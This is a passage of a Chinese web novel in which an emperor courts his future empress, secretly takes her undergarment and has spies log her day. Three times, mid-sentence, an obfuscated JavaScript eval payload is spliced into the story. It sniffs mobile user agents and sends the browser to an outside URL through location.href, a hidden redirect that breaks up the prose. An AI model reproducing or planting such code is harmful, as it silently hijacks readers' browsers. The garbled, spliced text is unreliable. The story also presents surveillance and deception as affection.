起初人家并未动心,袁公之子好色之名远扬,那家人虽不富裕,却也不会为了权势祸害家中孩子。 “父亲赁了母亲邻居家的房舍,又将自己在官衙的差事辞退,只在那街巷附近开了一间小小的书院给孩童开蒙。” 一位高门公子不以权势相逼,俯身尘埃做一小小教书先生,只为凭真心换取女郎青睐。 时日一长,男才女貌渐渐萌生爱与情,顺理成章成为夫妻。 他们有过一段幸福的时光,婚后琴瑟和谐。 袁望两岁,一个再普通不过的夜晚,他推开母亲的房门,呼啸的冬风卷着冰碴拂动悬在梁上的身影。 他的喊声惊动下人,母亲得救。 那日母亲提前归家,推门撞见父亲与一婢一厮缠绵在母亲卧榻。令她崩溃的是,那并不是父亲第一回带人玷污她的床褥。她无法接受丈夫晨起时还在与自己描眉画唇,选择极端。 醒来后,床榻边只小小的袁望守着。 精神崩溃的妇人看着容颜与他父亲极为相似的儿子,“......母亲她掐住了我的脖颈。” 他的手按在崔雪朝的手上,攀上襕臂华贵的纹饰,掌心处的滚热一点点沁入她发凉的手背,细长手指是落入网的猎物被他充满力量感的手指撑开,贴上他的咽喉,喉结上下滚碾过自己细嫩的掌心像捶在心口,听见他沙哑的声线,“母亲就这样掐着我。” 他生动地向她展示自己幼时的危机与痛苦,“母亲说,我是她的罪孽。” 像沉重的呢喃。 崔雪朝仰着头看向自己的掌,掌下砰砰是他颈侧动脉跳动的节奏,生命力旺盛坚韧的见证。 当年弱稚少年被母亲索命时,“你哭了吗?” 没有。 父亲那样多情的人的子嗣,生来却寡情。 “我一直哭,求母亲放过我。” 可他无耻地撒了谎,灯火惶惶,果然在她眼中看到期望的怜悯。 从早前在北麓溪边时,袁望敏锐地察觉到她对他的过往总有几分悲悯。 皇后易得,彼此牵绊爱护的妻子不易得。 他是有成算的人,夺江山当皇帝,他想要他得到。如今他私心谋求的是眼前这个名唤‘崔雪朝’的女子全部的爱。 防守严实的心得使手段才能破开,初见成效。 忽略他刻意为之,她细腻的指腹抚着自己身躯,呼吸近在咫尺隐约嗅到她衣领间熏过的百合香,“我哭得好大声。” “然后呢?” 她好奇。 “之后她便有些疯癫。有一日突然清醒过来,说她要剃度出家。” 凄婉的一段往事。 崔雪朝想起民间传言,说他母亲是被叛逆从佛堂绑走,送给胡部为质要挟他退让。 故事之末,是他亲手斩断父母亲缘。 似乎他也想起往事,呼吸有些发颤,手掌紧紧地握住她的,眼神脆弱,烛光受夜风摇曳,视线内一闪而过是他眼底的泪。 许是难堪,他突然扯了她拥在怀中,是那种密不可分的抱法。下巴搭在她的颈窝,揽在她腰上的臂膀有力强健。 沾了满身清寒的她突然被怀抱传涌过来的热意恼得不自在起来,这是她头一回不带抗拒地跟一个男人靠得这么近,近到仿佛他生出好几条臂膀和腿死死地绑着她没办法动弹。 “丧母至痛,和你今日所感并无分别。” 他睁着眼看地上两人缠绵的影子,身上一阵阵热潮颤动,深嗅她清冷的香气,语气却悲伤万分。 话落,她稍抬起的手臂垂落,支棱着不太舒服,不尴不尬地最终心疼地环上他的后背。 这寒夜,是两颗寂寂的心贴在一起。 袁望得偿所愿。 半晌后留恋不已地分开,“你一日不曾好好吃喝,我很担心。” 崔雪朝抽回手,说外间摆好饭食了,我这就吃。 一前一后绕至屏风外,见秦妈妈担忧不已地望着,温缓地笑笑。不过是情感而发的一个拥抱,权当是被常喂的小狗扑了几下。 如此一想,起伏的心跳恢复平静。 秦妈妈准备了小樽荔枝烫黄酒,“月头还在,节下喝上一口,能祛夜寒,晚上好歇觉。” 说起歇觉,净手的乾元帝顿了下,落座后执筷随意吃着,心想这么晚了,宫门必然落钥,回去又是一番周折。 内监宫人们也辛劳,难得端午佳节休沐两日,“朕今日不走了....吧?” 话音在她微扬的秀眉下打个拐收场,像在商量。 “家院狭小,陛下会住不习惯,还是回宫吧。” 童公公堆笑给主子找路:“娘娘,快丑时了。陛下卯正起身祭拜宗庙,白天为淮北灾民的事情忙了一天,好容易跟大臣们商量出一个章程,听闻娘娘为崔夫人跪灵一天不曾吃喝,担心得连衣衫都不曾换就赶着出宫了!” 特意换了孔雀蓝显得自己英武挺拔的乾元帝鼻端哼出威严的一声,“你今日话怎么这么多?” 从容地探筷给对面夹金银软肚丝,“虽然你我纳旨成婚,毕竟不曾大礼。你担心外头传言不好听是情理之中。坐车不辛劳,至多一个时辰就回宫安置了。” 崔雪朝算下时辰,休沐无有朝会,会有轮值的官吏呈递奏本,算来他回去只能睡两个时辰。 她不是没良心的人,方才屏风后他屈尊给母亲抄经,心不诚字迹是真实的,来日总要过日子,爱不爱的,先得和睦吧。 于是道:“若陛下不嫌弃家院......” “不嫌弃不嫌弃。” 不及她说完,袁望殷殷追问:“我住哪儿?” 他是天子,总不好让他住在外间。 崔雪朝说正院卧房腾出来。 “那是你的寝居,我抢了算怎么回事?” 袁望摆摆手,“不必另外腾挪安置,在窗下摆个长榻铺上纳凉的覃席就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448286|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 那不就是要住在一个屋子里吗? 崔雪朝要说什么,童公公已然一蹦三尺高,“陛下娘娘圣明!小人这就去准备。”说着溜溜出门,很快消失不见。 总之强龙压过了地头蛇,饭罢,崔雪朝沐浴归寝,见窗下真摆了一张长而宽的梨花木榻床,嘴角抽搐下,只当自己瞎了。也不管那人要洗漱到何时,自顾上床撂落帷帐。本以为会悬心外头的动静,哪知一闭眼睡得人事不省。 迷蒙间有人唤她的名字,她没理,腕上痒痒的,以为是蚊虫,不耐地甩甩,扰人的动静终于没了。 睡得太沉,醒来时头还发闷,撩起帷帐,见室内浑噩着,檐下淅淅沥沥的,原是今日有雨。 唤了阿屏,净面时问陛下呢,阿屏道在前厅,“童公公说今日有雨,街面泥泞不好出行,朝上无会,让侍卫们进宫把大人们递上去的奏本搬到家下,陛下还得办差呢。” 听起来有点可怜,百官休沐都在家里闲养着,当皇帝的反倒不得松闲。 一撩水,惊讶地咿声,看着腕上凭空出现的五色绳,“这是哪来的?” 拽着绳面看清编在中间的蟠龙小玉环,“我原来那条呢?” 原本她亲手编的串了好些小金珠的五色绳出现在食案那头、脉脉含笑看着自己的人手上。 金珠五色绳她自己做的活扣,眼下被放至最长,捆在他粗大的手腕上,像勒在巨峰中间的一道峡谷,看一眼都觉得惊险。 “那个是我闲来随手编的,与陛下不搭。”还是摘了吧,感觉都勒红了! “我平常很挑剔的,这个差强人意戴个稀奇。” 着重是问她的想法,“喜欢你那个吗?” 一般般,绳盘尚好,只是那蟠龙的玉环格格不入。 但不好辜负人家的心意,笑了笑:“宫中的手艺自然是好。” 岂料这话不知哪里触到他的不满,一顿饭下来铁青着脸,只闷头吃了三大碗梗米粥。 碗筷一去又像是自己哄好自己了,身上那股郁郁的低气压散得干净,问她今日要做什么。 崔雪朝自有她的安排,“上晌午要见京郊田庄的两位管事。” 定了皇家亲,往后管理田庄不如在家中时出入方便,点过账册还要安排往后田庄的经营。 乾元帝唔了声,“朕上晌也有折子要批,借你前厅一用。” 那就该各去各的地方。 崔雪朝行个礼,迈步出了门槛,阿屏撑起伞,恰时门上宫人进来回禀,说是安勇侯有要事回禀,这会儿在院外候着。 崔雪朝脚下一顿,下意识侧目看那个传话的宫人。 见她停顿,乾元帝目送她纤秾曼妙身影离去时的柔情一瞬蒙上阴翳,笑意僵在唇角,高大魁梧的身躯隐在昏暗处涌动着无法掩饰的怒气和嫉妒。 台阶下的崔雪朝似有所觉,回眸望过去,袁望脸上的神情忽而变成温和的疑惑,“要见魏侯一面吗?” 他很有大方不介怀的姿态,崔雪朝眨眨眼,看他浓黑的眼眸不带笑意,于是摇摇头说不必。 童公公三两下冲到阶下:“今日有雨,娘娘晌午可想吃香汤锅子?运河御道每日都会送新鲜的鱼虾蟹入京,这时令下的青蟹黄肥得唷......” 崔雪朝作出被他吸引的神态,沿着小径一步步离开正院,直到在侧厢坐定,背后那种被猛兽锁定的麻感消弭,长长舒出口气。 腕上的蟠龙玉环沾了雨水黏着不舒服,想了想,用帕子拭干,没有摘下。 23. 第 23 章 负手站在廊下望着皇后韵致的身影消失在月门洞,乾元帝几不可见地松口气。 昨夜阿朝都愿意让他留宿了,今晨交换礼物后,她还关切地盯着自己被勒到的手腕,气氛如此美好,自己实在不该破坏。 他抚了抚腕,脸色肃正,渊渟岳峙般深沉,内心暗怪自己未免有些无理取闹。不过是小小的魏亭,阿朝都已经答应做自己的皇后了,何必把一个箭术一般的人放在眼里。 越在乎,岂不是越说明自己心里没底气? 堂堂天子,朕江山在握,不可小家子气! 蒙蒙雨雾下,跟在内监身后走来的身影让他收回思绪,进屋坐好,等堂下人恭敬地请安后,乾元帝声音沉稳地让他起身吧。 “回陛下,京西铁矿一事,已有进展。” 魏亭起身后回禀正事。 铁矿一事重了说,关乎国运。 乾元帝听他娓娓道来,择出几处关键点,魏亭到底年轻不曾参办过此等缉查案件,思虑不周全的地方全凭上座的陛下提点才能想到。 君臣议事一谈就是一个时辰。 “那管事既然与京中有来往,便把锦职司的衙役散出去盯着。再行事隐秘的人总会有疏漏,朕倒要看看究竟是什么人胆子这么大,竟敢在朕眼皮底下动摇国本!” 魏亭长揖应是。 天有阴云不去,堂内昏暗,有内侍方才亮起宫台灯,一身锦白色袍的魏亭被身侧的灯光映照到那如玉的面容越发白皙。 相比较之下,常在日头下练武强身的乾元帝皮相上就有些粗犷,不那么精细。 昨日端午,宫中晌午摆设了一宫家宴,入席之人都是河东袁氏一脉。 其中就有一位堂妹,年岁甚小,眼皮子没见过好东西,借着喝了两口酒跟乾元帝这位堂兄撒娇,说自己早就相中了魏亭,正想着定个好时候两家说合,结果乾元帝捷足先登,一道圣旨下来白白把人送给户部罗大人家的姑娘。 一个两个的,都是被皮相之美迷惑的傻货。 议过正事,乾元帝那沉稳的眼神又浮现出挑剔,语气也颇有几分阴阳怪气:“差事要紧,你的私事也不可耽误。罗家得朕器重,他之女本该御内廷,思及你婚事尚缺,便为你们赐婚了。旨意到家,魏老夫人可还满意?” 魏亭:“祖母感念陛下恩旨,第二日便请托冰人去罗家纳吉定期了。” 乾元帝扬眉:“定期了?预备何时成婚?” “就这月十八。” 本月十八,比他的六月初六早。 乾元帝沉吟:“好日子,好日子!届时朕不便亲临,必会让内监送你夫妻二人一份大大的贺礼!” 魏亭谢恩,暂无旁话,得了吩咐拱手退下。 出了悄寂的院落,雨突然大了,随扈去府外策车,魏亭望着潇潇雨幕中高悬的崔字牌匾,眼前浮现那日长原上同自己站在一块笑起来格外美好的姑娘。 望京门府之间少有秘密,昨日崔家宗祠出了大事,不及天黑便人尽皆知。 祖母抱着饭碗唏嘘起来,说这姑娘看着柔和得跟朵娇花似的,实则内里狠着呢。这等手腕若是嫁给魏亭,魏家后院不愁在高门女眷里站稳脚跟。 可惜缘不够,人家命格金贵,阿豆,你就当从来没遇上这姑娘吧。 魏亭呢,听着心里怪不是滋味。 毕竟不是路边随意采撷的花,被人瞧了顺手给出去也无所谓。 说上心入迷窍不至于,细究起来不过是几面之缘。但雁过岂能无痕? 大门上一惆怅,忽见斜廊小路上出现一抹碧绿的身影,他怔怔地盯着对方走近,及至眼前,忽得回神,匆匆避过视线,拱手给请安,“娘娘吉祥。” 话音刚落,心头闷痛,似乎那份失之交臂而泛起的伤怀终于表征出来,原来一个天上一个地下,从此不敢再多看她一眼。 “家仆说你与陛下议过政事要走,想起从前,总觉得有些话不曾与你说清,幸好魏侯还在。” 魏亭侧着身,敛目不动,只说娘娘但说无妨。 从何说起呢? 崔雪朝抿了抿唇,“魏侯是朗率之人,罗姑娘性情果敢从不倨傲,你二人才是天造地设的一对。” “上林苑中,我因私欲,几次与魏侯相见皆是刻意为之,魏侯眼中的我并非真我。” 说到这里,她笑了笑:“扮演娇滴滴的姑娘,非我擅长。那些天,我常为此苦恼,不得已暗中模仿过好几位秀女。” 魏亭愕住,终于敢挺直腰看她。 她还是旧时模样,唇边的笑容从未变过,只是那双从前望向自己含羞带怯的娇媚眼不再,她是清冷的,眼中不沾风月,看他跟看门口大柱子没什么分别。 “罗姑娘很好,来日你二人成婚,我必会奉上一份大礼。” 魏亭为她坦诚而笑,错缘不该裹足,“多谢娘娘今日为臣解惑。” 直至上车再不曾回眸,背影洒脱一如当日。 一阵风过,乌云终于飘走,有金黄灿烂的光落在地上。 绕着莲池曲折的游廊往喜腊院走,近了,隐约听到阿屏的笑声,站在门口一瞧,挺阔的台阶上竟有好几只猫。 一只体型大、黑白花色的,应该是母猫,大大的肚子垂在地上,蹲坐着大口嗷呜嗷呜东西。另有三只踉跄的只有巴掌大的小猫哼哼唧唧地往食盆跟前凑,被母猫不耐地搡开。 阿屏可怜几个小猫崽,一边说母猫无情,一边不停把几个小崽往母猫肚子下塞。 “哪来的猫?” 阿屏指指后厢房:“这几日动土,一挖墙根发现竟然有猫安了窝。侍卫们本要扔了,秦妈妈说生灵是镇家的,扔了不太好,让问问您的意思。” “留下吧。” 崔雪朝看有个小猫崽脸上还糊着脏秽,掏出帕子就要上手去擦。 手伸一半,膝盖还没弯下,突然被拽起,惊讶回看,乾元帝威严的身形不知何时到了,“野狸护崽,贸贸然动手容易抓伤你。” 他那面上没有温情,崔雪朝才觉自己这样有失身份,心下讪讪,正要告罪,身侧人却是越过她走前去。 阿屏急急退开。 长阶上的母猫察觉到有陌生的气息,瞬间发出威慑的低吼,眼睛竖着龇牙长长的‘哈’气。 “陛下小心。” 话这般说,她的眼神谨慎地盯着母猫,生怕高高在上的天子一个动怒猫咪伏尸。 袁望没应,冰冷的眼神与护崽又护食的猫威严对峙,半晌后,想来母猫终于发觉眼前这个高大的男人似乎并不简单,两耳倒贴着假装什么都没发生呼噜呼噜继续吃着。 大手直直朝着猫腹而去,精准地抓起看起来最羸弱的那只。 他朝后伸手,崔雪朝立时默契地递上自己的手帕,看他不急不缓地一点点擦拭干净小猫眼窝鼻子的脏东西。 这时内监送了牛乳来,剩下两只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448287|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫崽嗅到味道呼啦涌过来,袁望握着手里的这只,另一只手三两下把争抢的猫崽分开,又用木勺舀起牛乳细致温吞地喂起来。 端方持重的人做起这样细节的小事,格外让人瞩目。 崔雪朝看了他几眼,忍不住好奇:“陛下养过猫?” “少时养过一只。” 袁望动了动手里的这只,“和这个差不多大小。那母猫一窝生了七八只,就属那只最小,抢不过其他兄弟姐妹,总昂着头叫,吵得人心烦。无奈之下,只好让下人接回家中养着。” “后来呢?” 木勺微渺地顿了下,袁望在刻意卖惨和树立沉稳印象间犹豫刹那,最终觉得不必将狸猫被溺毙的惨事告知她,免得引来她唏嘘。 “后来吃了我好几月的精肉,养得膘肥体圆,混成街市里的猫老大,不愿意回家了。” 问起花色,袁望说是棕色虎斑纹,脚垫和脚掌都是黑的。 崔雪朝眼睛一亮,声音也高了些:“这种猫最不老实了,再高的院墙都关不住。我小时候也养过一只,长大后胆子大了,顺着院里的树身跳上墙头就跑出去浪了!” 果然共同的经历是打开话头最好的引子。 ‘浪’这样不规矩的话都能随心说出口了。 袁望侧过身看她,有感而发:“那种猫很厉害,会捉老鼠,还叼回家乱七八糟的东西。有回夜里我正睡着,朦胧间听见有大□□呱呱叫,手一摸吓了好一跳。” 那麻人的触感至今不敢忘。 崔雪朝笑了笑:“母亲说猫咪念家还报恩,叼东西回来是想把自己以为的好东西送来报答你呢。” 他从善如流地点头:“这样呀,猫咪可真好。” 母猫吃饱喝足呼啦添起爪子给自己搽脸,小猫崽子肚子鼓起小包,看样子也吃得很尽兴。 小小的生命成了两人交心的见证,袁望交给内监仔细照管起来。 晌午到了。 崔雪朝蹲个礼去更衣,乾元帝笑望着她身影进了寝居,一颔首,身后有个内监促步上前,压着声音回禀方才皇后娘娘跟安勇侯站在一块说了什么。 当别人丈夫的,岂能不四处暗生戒备? 听闻两人释了往事,且他的皇后为了自己不曾缠绵留恋。 设身处地,乾元帝觉得如有一日她能为了得到他的正妻之位而苦心经营,夜里睡下都得捂着嘴偷乐。 紧紧攥着的拳头松弛下来,舒朗地迈步等她更衣一起用饭。 暖热锅子正好驱了雨后的潮冷,对坐吃饱,下晌午一个侧居屏风里默默学着打理内廷的账目,另一个在屏风外正襟危坐处理政事。 再一打眼,天色泛起浓黑,又要上灯了。 崔雪朝杵在地上见外头那人坐得八风不动,凭自己本事留宿的人哪有那么容易送走。 幸亏他是君子,至多是偷偷摸摸地把她腕上的五色绳与他的对调。 阿屏请示晚间的安置,崔雪朝只说照着昨日就好,早早歇下,帘帐外隐约有窸窣的声响,她疑惑地撑起上身喊了一声陛下? 长榻处传来他沙哑的声线,说没事。 再没听到之前的动静,还以为是自己听错了。 带着困惑入睡,翌日晨起长榻已经洒扫成原来模样,节后上朝,天不亮乾元帝便起身离开。 阿屏整理过寝居床褥,抱着换下来的物什纳闷道:“姑娘那件绛色的肚兜怎么找不见了?” 24. 第 24 章 小小的红艳艳的一角落在眼前地上,伺候的宫人浑然不知漏了东西,袁望闪电似探臂而出,宽大粗糙的手攥着那又滑又软的缎料。 他威严地倚靠在软枕上,威严地让内侍退下,威严地左右看看确认无人,把水缎肚兜举到脸跟前。 一面唾弃自己此举下流上不得台面,一面又悄悄辩解,此时包裹着她的那方床榻本该有自己的一半,现在自己躺在又冷又硬的榻上睡得后背发凉,收点好处不过是一换一的公平交易。 又或者是她明知自己在外榻上一夜凄凉,刻意吩咐宫人手脚疏漏,留下这点软红物安慰他的可怜?这点小心思,狐媚得刚刚到心坎上!当然她肯定不会承认,他都懂,外人面前皇后得有淑女风范! 绛色的肚兜贴身沾染她馥郁的香气,袁望抻着脖子往菱纱帐内看看,瞧见婀娜峰姿起伏朦胧,生怕自己掌心的老茧勾得金贵的命根起了线头,想收回怀中,迟疑下,盖在自己脸上,深而重地嗅了好几下。 想象这不是一方缎,是她的魅躯,仿佛伏在自己的腰上,兜软两捧惊险地挨着蹭着他的鼻尖,按捺不住地喘口粗气。 一不留神,声响惊动帐子里的人。 “陛下?” 且娇且柔的一声轻唤,袁望扯了轻被挡住,肚兜落在掌心,端庄地叠了又叠,好好地收在衣领里头。 “我没事。” 前半夜依依望着帷帐上的一点影子发愣,后半夜只睡了三个时辰,醒来时精神焕发。 压着脚步声靠近,帘帐内昏睡的人不像平日看着那么端庄,睡觉时还喜欢蹬被子,不去看细腻白皙的脚踝,他给重新盖好,吩咐宫人让她睡足。 回宫更衣,上朝问话。 心不在焉地听听,淮北的灾民安抚得差不多了,新一茬的稻种也种上,各地都安分,全是些鸡零狗碎的不紧要。 政事议完,问还有别的事儿吗,没有就散朝。 这时御史台的正职宁大人秉着笏板越众而出,乾元帝让他有事就说。 宁大人好钢牙,一张嘴就往乾元帝心头上咬。 他要参人,参本朝新封不足一月的皇后娘娘,说皇后娘娘少有妇德,不尊父训,竟敢做出悖逆人伦之举,领着禁军侍卫趁崔家宗祭,威逼亲生父亲为崔氏亡了的夫人守鳏! “陛下!此乃妇人七出之四——妒性作祟!有此等品行之人为大乾开朝皇后,实在荒唐!幸而大婚之仪与册封典仪不曾举办,陛下还请您三思!” 想了大半夜成婚真晚的乾元帝笑了,“朕三思?宁大人希望朕如何思量?” 宁大人:“妒为妇人大忌,崔氏长女本就身存秽往,又犯下此等恶行,不配为后!还请陛下收回旨意,从本次大选秀女中重新择后!” “宁大人所言甚是有理,还请陛下三思。” 有附和臣僚立时站队进言。 自然,也有与宁大人意见相左的。 礼部侍郎凛然道:“回陛下,娘娘所行发至孝道,躬悯怜弱,治下宽严并济,既有贤德之风,又以身为则肃清门下不正之气。臣以为娘娘所行宜得嘉赏!” “臣附议!” 宁大人梗着脖子又道:“今日能逼着亲父守鳏,来日御临后廷,必有独占雨露之风。一国之母如何能由一个善妒的女子来当?荒谬!” 乾元帝很善捕捉关键词。 善妒? 善妒可不是什么好词。 只是话说回来,善妒源于本心源于爱,让女子再三束缚本心,非要人家贤呀蕙的,这群臣下很是可恶! 他思来想去,诸如宁大人之流,明明下朝后归家妻子美妾在怀日子过得舒坦甜蜜,却冷眼看着天子一人高悬内廷,当牛做马地批折子办差事,脸色难看起来。 妒...如是阿朝善妒,对他生出无穷尽的占有欲...他求之不得。 一个只想要丈夫全部爱的女子,这样的人能坏到哪里去? 这些没事找事的御史台牙侩们真是坏透了。 于是清清嗓子,先把从一开始就跪在地上的崔卿喊起,又看向御史台宁大人:“宁大人今日所言,朕记在心里,来日皇后入縡后廷朕会好好教诲。” 至于什么换个皇后,当没听见。 宁大人不服气:“陛下,臣......” “宁大人的长子昨日才纳了宁老夫人身边伺候的婢女做第三房小妾,晨起请安和宁大人儿媳妇刚打过架。宁大人家风如此,便不要抓着朕的皇后不放了。” 宁大人像被当众甩了两个嘴巴子,脸红脖子粗地缩回行列。 群臣见之,再不敢狂言。 毕竟朝会刚开,宁大人私宅庶务就被送到皇帝案头,果然新成立的锦职司真是手眼通天无孔不入! 朝会散了,大臣们一一往外走。 拐去前朝当值,长长的宫道臣属们三两成行,高首辅面容冷肃,但握着笏板的手心却是一丛丛的汗。 御史台今日所行,有他提点和默许。 也不知陛下是不是已然知晓今日皇后被参一事有高家的手笔。 “大人您瞧。” 落他半步的吏部尚书往不远处挑眉,向来少有光顾的崔次辅眼下身前围拢不少笑脸。 权势自来如此,鲜花簇锦时蚊蝇如织,不足为奇。 高首辅经历两朝事,并不觉得不适,相反他见崔举得此荣耀,心里还有些松快。 前些时候高家如烈油烹,沉浮官场的老油子敏锐意识到陛下对自家不太满意。却了科举主考官的差事,拱让皇后之尊,让陛下满意权衡朝局,同时也是给高家一个喘息机会。 只是太松弛,也会让臣僚们对高家少了敬畏,故而才有让御史台借题发挥之举。 知道不会成事,陛下金口玉言岂能朝令夕改? 敲打敲打,透漏几分不满是情理之中。 崔家,一个次辅,西陵又远在剑南,不足为虑。 安安心心处理完一日政事,又刻意延缓了半个时辰才撂下公务归家,进门时见夫人丧着神情,无奈地摇摇头:“二娘又在寻死觅活了?” 高夫人扶额叹气:“御史台铩羽而归,消息传回来,二娘气得发昏,后晌醒了,只痴呆着说她命苦,我听了难受。” 高首辅说老妻太过骄纵孩子,“换了新朝,你也糊涂得不长记性?若是前朝末帝,二娘能不能活着还是一回事呢。” “她要死就让她死,死了她一个,家里换四娘进宫!” 话语传到高二耳中,自然又是一通摔打哭闹。 下值归家的高家大郎最疼妹妹,听说妹妹心头发疼忙去请大夫。妹妹哭得两眼红肿,高大郎怨父亲不为妹妹出头,心疼道:“你先进宫做着安妃,来日总有机会除掉那碍眼的人!” 高二最信疼爱自己的哥哥,软着音问真的吗? “末帝狂悖多年,最后不也是大哥一刀砍了他脑袋献出城外的嘛。你且安心,进了宫只需蛰伏,待时机正好,阿兄必会为你扫平一切障碍!” 此等大逆不道之言,是兄妹二人的悄悄话。 一刻钟后,乾元帝看着转本上来的密报,轻轻敲着案缘。 扫平一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452000|168660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 障碍?这障碍里有朕的阿朝,朕的子嗣,朕也在其中吧? 那双凤眸平静到极点只会让身周之人心底发寒,童公公不敢动弹,虽不知密报说了什么,但他知道一定是犯了陛下忌讳的大罪! “照往常一般盯住人。” 密探拱手应是。 乾元帝坐在原处,翻起另外一份密报。 上面详细地记载了皇后娘娘今日在崔家什么时辰做了什么。 晨起与婢女翻遍屋子寻了好久的东西,未果,臊红脸瞪着长榻不语,半晌后吩咐宫人作罢。 乾元帝讪讪摸摸自己的鼻头。 几时吃过什么,吃了多少,净手用了何种香露,换了哪种新衣,佩戴了什么发簪首饰。 上晌见了外客,客乃辜家母女,是为了大婚之仪上簪客一事而来。 晌午歇在何处,睡了多久,起来后喝过什么茶,又制了什么香。 上夜吃兴不丰,厨房管事提议一块包扁食,胡萝卜水芹虾泥做的馅儿,包了两竹扁盖,娘娘吃了七八个,剩下的全都分给底下人。 乾元帝俊眉微蹙,往近细看,连看守府院的禁卫都分到了! 想起夜食,他只泛泛吃了三个没滋味的包子,再想伸手还被童公公劝住,不由心酸起来。 这样茕茕孑立的清寒岁月,何时才是个头? 盘算日子,再过一月才能大婚。 “陛下,娘娘与您刚起情意,今日朝中参娘娘的折子传至崔家,必然又是风波。娘娘虽不说什么,可心里是什么想法却不好说,不然您去解释解释,好叫娘娘心安?” 这话落到乾元帝心坎上,半晌后还是摇摇头。 一连留宿崔家两日,本就是她客气使然。自己像个不要脸的登徒子还藏了人家的肚兜在心口贴身放着,脸皮再厚也不好意思这时去见她。 一月虽漫长些,前半生都熬过来了,不算什么。 但人不去,不能让她心里忘了自己,吩咐内廷司把今夏蜀中进贡上来的头一批蜀锦送到崔家,让她多制几身衣裳穿。 好巧不巧,蜀锦送到崔雪朝跟前,最顶上的那匹就是浓艳绛色。 阿屏抚着上好的锦缎,两眼放亮光:“娘娘,这么好的缎子,够奴婢给您做上百件肚兜了!”她还放不下自己弄丢娘娘肚兜的事情。 崔雪朝颊上绯红,偏过身子不肯再看这份调戏自己的赏赐,“收到库房吧。” 夜上抚抚已经平息下的心跳,想起万姑姑回禀今日朝上自己被参,而他轻描淡写地放过,唇边露出点笑意。 权势让人痴迷,纵是逼着亲父立牌坊得天下男人耻笑,也不过是一句‘好好教诲’了事。 打杀的狠事他出手摆平,谁敢置喙陛下的旨意? 痛快是真痛快,这才叫大仇得报。 对他呢? 抛开他总是投来的那种如蛇蟒一口吞下自己囫囵嚼几下就想咽下肚的贪婪欲望,对这个人,她是感激的。 从前看他是君王,好英明不可攀折的存在。 现在看他,人伦之欲下的凡夫俗子不外如是。 及笄时,母亲问她喜不喜欢辜家阿兄? 那时不知岁月磋磨,母女两个天真烂漫,认为成就一场姻缘必须是喜欢为基础。 那她喜欢乾元帝吗? 廊下他大大一只坐在台阶上,眼神怀念地回忆少时自己养过的狸猫,一刹那她有过动心,风拂过树梢般,不刻意想就会掠过。 再有一月他们就要成婚。 不去想太远,至少她对这桩亲事有了期待。 25. 第 25 章 国礼备婚琐碎,专有内廷司女官来教崔雪朝那一日的仪程。 深蓝黑的袆衣,大袖高交领,通体满绣显贵的翟鸟纹,素纱中单,白色墣纹领,但衣缘却是赤朱色。因衣裳相连并不异色故而蔽膝随裳呈青色。每一件选用轻薄如云的细缎,由内廷针线局最为出色的宫女照着皇后娘娘尺寸量身制作。 陛下对大婚仪式上皇后娘娘的穿戴格外瞩目,针线局的领事嬷嬷往崔家跑得很勤。 万姑姑前脚刚送走针线局的人,后脚器物司的内监到了,一问,陛下觉得给皇后娘娘凤冠上的博鬓该配十三花钿,娘娘意下如何? 万姑姑解释道:“凤冠上的十二花树乃是比照前朝凤冠的标制,再此之上额外添一道花钿,可见陛下对娘娘您的爱重。” 爱不知有多少,重是实实在在的分量。 金灿灿的凤冠虽不是纯金打造,选用色更辉的铜鎏金,但整个凤冠面上的十三课花树,以及由花梗花瓣和花蕊皆是锤揲、掐丝等工艺繁复造物,数不清的珍珠和汉白玉点缀其中。 每每着盛装佩冠带跟着礼仪官演练一次,都会有种耗去生命的错觉。 屋内冰鉴扇呼啦呼啦吹着凉风,崔雪朝剥去一身贵服,无力地瘫在床上。 六月初六那日自己顶着烈日要从乾门上步行走上一刻钟到太极殿,想想就头皮发麻。 幸而秦妈妈的手艺能抚慰她刚生出的烦闷。 樱桃毕罗,巨胜奴,牡丹燕菜,最为鲜美的自然是酸浆鱼脍。 刚吃没两口,万姑姑在门上请示,急忙忙擦去嘴角的酥碎末,一本正经地让人进来。 “娘娘,方才府下管家送来一个宝匣,说是崔大人为您准备的随嫁单子,请您过目。” “拿过来吧。” 除了十几张数额较大的银票,匣子里还装了几张地契。 有望京街面上的六间铺子,京南的两座三进院子,剑南临都城的好几座宝山和五百亩田。 若按之前父亲的规划,崔雪朝要嫁给某一郎将,这样的随嫁单子可谓丰厚过头。但以她今日为后的尊荣,这样的嫁资属正常。 万姑姑见阿屏嘀咕着这一匣子值多少钱,想起近日进出的宫人跟她说的消息,心下隐忧。 众人皆知陛下为淮北救灾腾出了大婚之仪的银子,中宫之主的体面不能掉,便下旨从简其余几位小主的封典。 